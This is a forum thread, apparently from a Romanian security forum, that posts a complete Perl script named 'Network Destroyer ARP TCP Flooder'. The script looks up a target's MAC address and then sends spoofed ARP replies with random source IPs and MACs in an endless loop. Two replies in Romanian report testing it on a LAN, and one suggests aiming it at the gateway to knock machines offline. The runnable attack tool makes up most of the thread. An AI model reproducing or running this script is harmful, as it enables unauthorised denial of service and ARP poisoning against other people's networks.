Network Destroyer ARP TCP Flooder

[Nytro]

Network Destroyer ARP TCP Flooder

[COLOR=#888]
[/COLOR] 

    #!/usr/bin/perl
    #ubuntu sudo apt-get install libnet-arp-perl
    #ubuntu sudo apt-get install libnet-rawip-perl
    #Madstein - arp tester
    use Net::RawIP;
    use Term::ANSIColor;
    use Net::ARP ;
    inicio:
    print color ("red"), "[+]",color ("reset"), "Interface to Use Ex: eth1 | wlan0 | eth0 \n" ;
    $iface = <STDIN>;
    print color ("red"), "[+]",color ("reset"), "Insert IP to Get Mac Addr \n" ;
    $target = <STDIN> ;
    chomp ( $target,$iface ) ;
    $getmac = Net::ARP::arp_lookup($dev,$target);
    my $count = 0;
    if ($getmac =~ unknow ) {
    print "Something went Wrong The Target Retrieved an unknow Mac addr\n";
    print "Prees Any Key To Restart Program\n";
    $restart = <STDIN>;
    goto inicio ;
    }
    elsif ($getmac =~ "00:00:00:00:00:00" ) {
    print "00:00:00:00:00:00 retrived error\n";
    print "Prees Any Key To Restart Program\n";
    $restart = <STDIN>;
    goto inicio ;
    }
    else {
    print color ("red"), "[+]",color ("reset"), " $target mac is $getmac \n";
    print color ("green"), "[+]",color ("reset"), " type.. yes ..to flood || .. no .. to restart Program \n";
    $flood = <STDIN>;
    if ($flood =~ yes ){
    while (1) {
    my $src = join ".", map int rand 255, 1 .. 4;
    my $spoofedmac = join ":", map int rand 99, 1 .. 6, ;
    Net::ARP::send_packet($iface, # Device
    $src, # Source IP
    $target, # Destination IP
    $spoofedmac, # Source MAC
    $getmac, # Destinaton MAC
    'reply'); # ARP operation
    $count++;
    print "Packeth Sent Tru $iface to $target using $src as ip ";
    print "with this spoofed mac $spoofedmac amount $count";
    } }
    elsif ($flood =~ "no") {
    system " clear";
    goto inicio;}
    }
[COLOR=#888]
[/COLOR]

Sursa: r00tsecurity -> Source Code Center :: Network Destroyer ARP TCP Flooder

Edited December 26, 2011 by Nytro

[aelius]

Pe FreeBSD nu se simte nimic. Am testat acum in LAN. http://i40.tinypic.com/16h2luc.png

Am asa apare la tcpdump: http://i42.tinypic.com/etblp3.png

[backdoor]

Ori e ARP ori e TCP ??? Oricum din cate mai stiu si eu perl , e pur si simplu un simple ARP poisoner cu RANDOM mac address. Da tex, ar trebui sa incerci sa ataci GW-ul si sa vezi daca mai ai net pe calculatoarele din lan....

Direct attack catre masina BSD , in cel mai bun caz iti da o caruta de mesaje ca un alt host iti foloseste ip'ul in logs.